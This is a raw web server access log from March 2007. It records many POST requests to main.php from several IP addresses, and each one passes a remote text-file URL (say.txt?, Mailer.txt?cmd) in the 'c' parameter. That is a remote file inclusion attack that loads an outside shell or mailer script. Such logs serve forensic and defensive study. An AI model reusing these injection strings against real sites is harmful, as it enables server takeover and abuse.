196.3.63.252 - - [12/Mar/2007:07:20:21 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 11767 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:07:20:23 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 15004 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:07:22:10 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 23993 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:22:08 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25620 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:28:36 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 20118 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:30:04 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 20008 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:32:05 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 20020 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:33:35 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 20202 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:33:57 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 18575 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:34:45 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 20383 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:36:18 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 20166 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:40:44 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 23743 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.162 - - [12/Mar/2007:07:48:22 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 13635 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:07:56:45 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 47216 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:07:57:23 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 50950 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:07:56:48 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 53255 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
41.204.224.10 - - [12/Mar/2007:07:59:33 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 23279 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:07:59:40 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 23279 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:08:05:13 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 10386 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.207.13.162 - - [12/Mar/2007:08:02:40 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 58933 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:08:00:43 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 75831 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:08:15:24 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 66925 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:08:25:51 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 400 313 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:08:25:29 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 39412 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.3.63.252 - - [12/Mar/2007:09:01:02 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 11595 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:01:08 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 12454 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:01:44 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 11644 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:01:50 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 12508 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.207.13.162 - - [12/Mar/2007:09:07:43 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 14789 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.162 - - [12/Mar/2007:09:05:40 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 12984 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.3.63.252 - - [12/Mar/2007:09:15:28 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 11728 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:15:28 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 11733 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:15:40 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 11727 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:15:41 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 12612 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:15:52 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 12582 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:15:46 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 12601 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:19:30 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 32235 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.207.13.162 - - [12/Mar/2007:09:17:39 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 32110 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.162 - - [12/Mar/2007:09:21:04 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 28288 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:09:21:16 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 34538 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.3.63.252 - - [12/Mar/2007:09:19:48 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 38364 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
81.129.141.218 - - [12/Mar/2007:09:24:37 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 9992 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"
81.129.141.218 - - [12/Mar/2007:09:25:20 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 9992 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"
81.129.141.218 - - [12/Mar/2007:09:25:53 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 10045 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"
196.207.13.162 - - [12/Mar/2007:09:31:51 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 36824 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:09:37:42 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 45068 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.162 - - [12/Mar/2007:09:46:01 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 28541 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:09:23:05 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 144582 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.207.13.162 - - [12/Mar/2007:09:47:10 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 50089 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.162 - - [12/Mar/2007:09:49:48 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 48021 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.162 - - [12/Mar/2007:09:31:48 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 92101 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.207.13.162 - - [12/Mar/2007:09:38:22 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 91797 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.3.63.252 - - [12/Mar/2007:09:23:32 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 139159 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:26:45 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 175370 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:32:47 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 126562 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.207.13.162 - - [12/Mar/2007:09:58:54 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 33404 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:09:32:21 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 161312 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:09:26:27 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 161661 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.207.13.162 - - [12/Mar/2007:10:05:57 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 25044 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.162 - - [12/Mar/2007:10:01:35 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 79115 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.162 - - [12/Mar/2007:10:20:11 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 38516 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.162 - - [12/Mar/2007:10:17:03 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 38424 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.162 - - [12/Mar/2007:10:27:24 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 17418 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.162 - - [12/Mar/2007:10:27:25 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 17418 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.162 - - [12/Mar/2007:10:27:25 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 30003 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.162 - - [12/Mar/2007:10:34:53 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 40954 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.3.63.252 - - [12/Mar/2007:10:18:19 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 168800 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:10:12:58 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 212655 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.207.13.163 - - [12/Mar/2007:10:51:03 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 46086 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.3.63.252 - - [12/Mar/2007:10:11:30 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 293288 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:10:09:55 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 316895 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.207.13.163 - - [12/Mar/2007:11:13:59 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 21332 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.163 - - [12/Mar/2007:11:25:18 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 20498 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.163 - - [12/Mar/2007:11:37:34 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 32230 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.163 - - [12/Mar/2007:11:47:01 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 46270 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.207.13.163 - - [12/Mar/2007:11:47:44 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 80385 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.163 - - [12/Mar/2007:11:57:48 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 32903 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.163 - - [12/Mar/2007:12:03:26 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 37457 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.163 - - [12/Mar/2007:12:11:59 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 40511 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
196.207.13.163 - - [12/Mar/2007:12:05:03 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 78597 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:12:01:00 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 84435 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
196.3.62.3 - - [12/Mar/2007:11:53:01 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 383034 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.62.3 - - [12/Mar/2007:11:53:36 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 381056 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.62.3 - - [12/Mar/2007:11:53:58 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 372142 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.62.3 - - [12/Mar/2007:11:52:26 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 381776 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.62.3 - - [12/Mar/2007:11:51:48 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 385436 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:14:13:55 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 191772 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:14:14:21 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 241682 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
